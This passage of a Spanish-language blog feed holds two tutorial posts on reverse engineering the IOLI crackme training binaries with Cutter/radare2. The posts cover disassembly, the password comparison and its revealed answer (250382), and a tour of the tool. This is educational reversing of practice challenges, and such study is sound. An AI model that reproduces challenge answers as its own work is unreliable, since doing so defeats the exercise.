</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x08048428</span>      <span style="color:#66d9ef">shr</span> <span style="color:#66d9ef">eax</span>, <span style="color:#ae81ff">4</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x0804842b</span>      <span style="color:#66d9ef">shl</span> <span style="color:#66d9ef">eax</span>, <span style="color:#ae81ff">4</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x0804842e</span>      <span style="color:#66d9ef">sub</span> <span style="color:#66d9ef">esp</span>, <span style="color:#66d9ef">eax</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x08048430</span>      <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">dword</span> [<span style="color:#66d9ef">esp</span>], <span style="color:#66d9ef">str.IOLI_Crackme_Level_0x00</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x08048437</span>      <span style="color:#66d9ef">call</span> <span style="color:#66d9ef">sym.imp.printf</span>
</span></span></code></pre></div><p>Las siguientes instrucciones descienden a ESP para poder cargar en el stack, la dirección de la sección rodata en donde se encuentra uno de los strings que observábamos hace varias imágenes. Posteriormente es llamada a la función printf de libc, la cual despliega el parámetro que recibe (via ESP). Este nos da un mensaje de bienvenida al nivel 00.</p>
<p>Otro tema interesante, es que EAX se queda inicializado con el valor de 0x10.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-asm" data-lang="asm"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x0804843c</span>      <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">dword</span> [<span style="color:#66d9ef">esp</span>], <span style="color:#66d9ef">str.Password</span>:
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x08048443</span>      <span style="color:#66d9ef">call</span> <span style="color:#66d9ef">sym.imp.printf</span>
</span></span></code></pre></div><p>El siguiente mensaje es como el anterior, en donde se mueve la ubicación del string &ldquo;Password&rdquo; al ESP y se llama a printf para que imprima dicho argumento.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-asm" data-lang="asm"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x08048448</span>      <span style="color:#66d9ef">lea</span> <span style="color:#66d9ef">eax</span>, [<span style="color:#66d9ef">s1</span>]
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x0804844b</span>      <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">dword</span> [<span style="color:#66d9ef">s2</span>], <span style="color:#66d9ef">eax</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x0804844f</span>      <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">dword</span> [<span style="color:#66d9ef">esp</span>], <span style="color:#ae81ff">0x804858c</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x08048456</span>      <span style="color:#66d9ef">call</span> <span style="color:#66d9ef">sym.imp.scanf</span>
</span></span></code></pre></div><p>Continuamos con la primera variable que teníamos definida, s1. Aquí lo que hacemos es cargar la ubicación de s1 en EAX para posteriormente cargar el apuntador a s2 y subir al ESP el valor de 0x804858c, correspondiente al espacio de s1 donde se almacenara la información de scanf, función que es llamada en la ultima linea. Muy importante mencionar que en la ubicación tenemos la instrucción &ldquo;and eax, 0x35320073&rdquo;, lo cual mantiene el almacenamiento de la variable hasta su ejecución y reserva de manera peligrosa mucho espacio para nuestro string.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-asm" data-lang="asm"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x0804845b</span>      <span style="color:#66d9ef">lea</span> <span style="color:#66d9ef">eax</span>, [<span style="color:#66d9ef">s1</span>]
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x0804845e</span>      <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">dword</span> [<span style="color:#66d9ef">s2</span>], <span style="color:#66d9ef">str.250382</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x08048466</span>      <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">dword</span> [<span style="color:#66d9ef">esp</span>], <span style="color:#66d9ef">eax</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x08048469</span>      <span style="color:#66d9ef">call</span> <span style="color:#66d9ef">sym.imp.strcmp</span>
</span></span></code></pre></div><p>Ahora lo que vemos a continuación, es una comparación entre s1 y s2, teniendo s1 el valor que hayamos definido en la variable y siendo s2 el valor string de 250382 (rodata).</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-asm" data-lang="asm"><span style="display:flex;"><span>           <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x0804846e</span>      <span style="color:#66d9ef">test</span> <span style="color:#66d9ef">eax</span>, <span style="color:#66d9ef">eax</span>
</span></span><span style="display:flex;"><span>       <span style="color:#960050;background-color:#1e0010">,=&lt;</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x08048470</span>      <span style="color:#66d9ef">je</span> <span style="color:#ae81ff">0x8048480</span>
</span></span><span style="display:flex;"><span>       <span style="color:#960050;background-color:#1e0010">|</span>   <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x08048472</span>      <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">dword</span> [<span style="color:#66d9ef">esp</span>], <span style="color:#66d9ef">str.Invalid_Password</span>
</span></span><span style="display:flex;"><span>       <span style="color:#960050;background-color:#1e0010">|</span>   <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x08048479</span>      <span style="color:#66d9ef">call</span> <span style="color:#66d9ef">sym.imp.printf</span>
</span></span><span style="display:flex;"><span>      <span style="color:#960050;background-color:#1e0010">,==&lt;</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x0804847e</span>      <span style="color:#66d9ef">jmp</span> <span style="color:#ae81ff">0x804848c</span>
</span></span><span style="display:flex;"><span>      <span style="color:#960050;background-color:#1e0010">|`-&gt;</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x08048480</span>      <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">dword</span> [<span style="color:#66d9ef">esp</span>], <span style="color:#66d9ef">str.Password_OK_</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#960050;background-color:#1e0010">|</span>    <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x08048487</span>      <span style="color:#66d9ef">call</span> <span style="color:#66d9ef">sym.imp.printf</span>
</span></span><span style="display:flex;"><span>      <span style="color:#960050;background-color:#1e0010">`--&gt;</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x0804848c</span>      <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">eax</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>           <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x08048491</span>      <span style="color:#66d9ef">leave</span>
</span></span></code></pre></div><p>En el ultimo bloque que analizaremos, tenemos que en el acomulador EAX se registra el resultado de la comparación, la cual si es 0, levanta el flag de ZF, caso contrario el flag ZF se mantiene en 0. Al llegar a &ldquo;JE 0x8048480&rdquo;, si ZF es 0, brincamos a 0x08048480, en donde imprimiremos el mensaje &ldquo;Password OK :)&rdquo;, caso contrario que ZF sea diferente a 0, imprimiremos el mensaje &ldquo;Invalid Password&rdquo;</p>
<p>Aunque hasta este punto, ya debe ser evidente la solución a este crackme, no olvidemos revisar la grafica de la función main.</p>
<h2 id="grafico">Grafico</h2>
<p>Una de las pestañas que nos ilustra mejor como las funciones interactúan y donde tienen saltos condicionales, es la sección de Graph, la cual luce de la siguiente manera:</p>
<p><img src="/img/cutter01/graph.png" alt="graph"></p>
<p>Con un poco mas de zoom (con el scroll del mouse) en el bloque principal antes del &ldquo;if&rdquo;:</p>
<p><img src="/img/cutter01/if.png" alt="if"></p>
<p>Como podemos observar tenemos un recuadro donde se encuentra las mismas instrucciones que estábamos revisando, solo que con los comentarios adicionales que nos devuelve radare2. Adicionalmente podemos ver una linea verde y otra linea roja que descienden del JE, estas corresponden a los saltos condicionales; verde para verdadero o en nuestro crackme, ZF==0 y rojo para ZF!=0.</p>
<p>En caso verdadero como ya sabemos, imprime el mensaje &lsquo;bueno&rsquo;:</p>
<p><img src="/img/cutter01/true.png" alt="true"></p>
<p>En caso falso como ya sabemos, imprime el mensaje &lsquo;malo&rsquo;:</p>
<p><img src="/img/cutter01/false.png" alt="false"></p>
<h2 id="validación">Validación</h2>
<p>Hemos llegado a la parte final, donde validamos la conclusión a la que hemos realizado después del análisis estático, en la cual la contraseña que debemos ingresar en el crackme es 250382.</p>
<p>Validemos:</p>
<p><img src="/img/cutter01/validacion.png" alt="validacion"></p>
<p>Excelente! Hemos resuelto el primer crackme de IOLI.</p>
<hr>
<p>Bueno eso ha sido todo de momento, espero que les haya gustado.
Saludos,</p>]]></content></item><item><title>Reversing de IOLI Crackmes con Cutter - Consiguiendo Cutter y los crackmes de IOLI</title><link>https://www.xbyte.mx/posts/ioli-crackmes-cutter_-_intro/</link><pubDate>Thu, 18 Oct 2018 13:32:59 -0500</pubDate><guid>https://www.xbyte.mx/posts/ioli-crackmes-cutter_-_intro/</guid><description>&lt;p&gt;Ok, esta es una pequeña guía de como resolver los retos crackme de IOLI con cutter. La verdad me he divertido mucho usando este GUI de radare2 y creo que merece la pena que veamos más como explotar la herramienta.&lt;/p&gt;
&lt;p&gt;Lo primero es conseguir la herramienta y los crackmes&lt;/p&gt;</description><content type="html"><![CDATA[<p>Ok, esta es una pequeña guía de como resolver los retos crackme de IOLI con cutter. La verdad me he divertido mucho usando este GUI de radare2 y creo que merece la pena que veamos más como explotar la herramienta.</p>
<p>Lo primero es conseguir la herramienta y los crackmes</p>
<p>Lo primero es conseguir la herramienta y los crackmes, esto es bastante sencillo, solo accedemos a las siguientes urls:</p>
<p>Cutter: <a href="https://github.com/radareorg/cutter/releases">https://github.com/radareorg/cutter/releases</a></p>
<p>IOLI Crackmes: <a href="https://dustri.org/b/files/IOLI-crackme.tar.gz">https://dustri.org/b/files/IOLI-crackme.tar.gz</a> <a href="http://pof.eslack.org/tmp/IOLI-crackme.tar.gz">http://pof.eslack.org/tmp/IOLI-crackme.tar.gz</a></p>
<p>Yo he utilizado la versión 1.7.2 de Cutter, pero con cualquier versión posterior no deberían tener problemas.</p>
<p>Para los crackme, estaré usando la versión de bin-linux, ya que mi estación de trabajo esta montada sobre Debian GNU/Linux. Les recomiendo bajar una Maquina Virtual para mantener sus herramientas al día y no mezclar con el sistema operativo principal.</p>
<p>Ok, una vez descargada la versión 1.7.2 de Linux.AppImage, solo debemos realizar el siguiente comando para darle permisos de ejecución y la ejecutamos:</p>
<pre tabindex="0"><code>2018-10-18 13:56:10 tony@portatil:~$ chmod +x Descargas/Cutter-v1.7.2-x86_64.Linux.AppImage
2018-10-18 13:56:11 tony@portatil:~$ Descargas/Cutter-v1.7.2-x86_64.Linux.AppImage
Setting r2 prefix = &#34;/tmp/.mount_CutterwAGsLe/usr&#34;  for AppImage.
</code></pre><p>Nos aparecerá una ventana en donde Cutter buscara cargar los archivos para analizarlos:</p>
<p><img src="/img/cutter00/open-file.png" alt="Open-File"></p>
<p>Tenemos entre otras opciones, abrir un archivo, abrir un shellcode o abrir algún proyecto que anteriormente estemos trabajando (oh si, puedes continuar tu trabajo justo en donde lo dejaste). En la opción de abrir un archivo, también podemos seleccionar el input, es decir, podemos usar Cutter con un debugger remoto o desde algún sitio web, inclusive sobre tipos de archivo específicos como zip, permitiendo la misma flexibilidad que tiene radare2 a la hora de analizar.</p>
<p>En mi caso como he abierto otros ejecutables me aparece mi historial de otros archivos. De momento, seleccionamos &ldquo;Don&rsquo;t open any file&rdquo; y seleccionamos &ldquo;Open&rdquo;.</p>
<p>Esto nos llevara a la siguiente pantalla, que es la de como cargar el archivo a analizar:</p>
<p><img src="/img/cutter00/load-options.png" alt="Load-Options"></p>
<p>En esta ventana vemos muchas opciones tales como el programa, si realizaremos un análisis y el nivel del mismo, hasta opciones más complejas como la arquitectura del CPU, el formato, el tipo de kernel y los offsets. Particularmente, observo poderoso que nos permita cargar scripts y PDBs para subirle mas valor al análisis o realizar tareas mas complejas vía scripts.</p>
<p>Seleccionamos Ok para continuar. Nos aparece la siguiente ventana en donde ya tenemos acceso completo a Cutter, vamos a ir analizando parte por parte sobre lo que nos incluye la herramienta:</p>
<p><img src="/img/cutter00/main-cutter.png" alt="Main-Cutter"></p>
<p>Al abrir Cutter, yo al menos usualmente reinicio el layout, por lo que &ldquo;view&ndash;&gt;reset layout&rdquo; como opción el cual me deja sobre la sección overview de la ventana Dashboard. En esta podemos ver al lado izquierdo las funciones del binario, abajo un buscador rápido y en el panel superior unas flechas para movernos entre lo que vamos explorando de un binario.</p>
<p><img src="/img/cutter00/fresh-layout.png" alt="Reset-Layout"></p>
<p>Es importante señalar que el botón de &ldquo;Play&rdquo; lleva un pequeña letra &ldquo;E&rdquo;. Esto es porque dentro de las capacidades de Cutter esta la de emular el código que estemos revisando, es decir, replicar el comportamiento que tendría si estuviera realmente ejecutándose. Aun lado derecho tenemos un buscador de flags y direcciones, para movernos mas rápido dentro del binario.</p>
<p><img src="/img/cutter00/panel-superior.png" alt="Emulate"></p>
<p>Abajo de este panel superior, podemos observar como esta clasificado el binario, este en una barra negra de momento.</p>
<p>Ya en el dashboard, la información sobre el binario que estemos analizando, desde si contiene canarios hasta la entropía del mismo.</p>
<p><img src="/img/cutter00/dashboard.png" alt="Dashboard"></p>
<p>La siguiente ventana justo a un lado del dashboard es Disassembly, la cual contiene las ubicaciones y las instrucciones del binario que estemos analizando, aquí es donde pasaremos mas tiempo analizando el código de los retos del crackme, por lo que más adelante estaremos revisando algunos de los hotkeys para trabajar en esta sección.</p>
<p><img src="/img/cutter00/disassembly.png" alt="Disassembly"></p>
<p>Continuando con Graph, otra sección donde estaremos trabajando a menudo, esta nos permite visualizar las instrucciones y navegar entre ellas con algunas teclas, permitiéndonos continuar la emulación de una manera mas simple mientras vamos viendo que sucede con las instrucciones.</p>
<p><img src="/img/cutter00/graph.png" alt="Graph"></p>
<p>Continuamos con la sección de Hexdump que no es nada mas que la salida en una tabla hexadecimal del binario que estemos analizando. Importante señalar que la pestaña parsing, nos permite realizar ajustes para ver mas haya de lo evidente.</p>
<p><img src="/img/cutter00/hexdump.png" alt="Hexdump"></p>
<p>Aun lado de Hexdump, encontraremos el poderoso strings y import. Ambos muy útiles para conocer las llamadas que realiza el binario, que tipo de texto tiene guardado en su interior y como podemos encontrar rápidamente la utilidad y mensajes que guarda nuestro binario a analizar.</p>
<p><img src="/img/cutter00/strings.png" alt="Strings"></p>
<p><img src="/img/cutter00/import.png" alt="Import"></p>
<p>Esto ha sido todo por el momento, en la siguiente entrada analizaremos el primer crackme y daremos vida a cada una de las secciones. Espero que les haya gustado.</p>
<p>Saludos,</p>]]></content></item></channel></rss>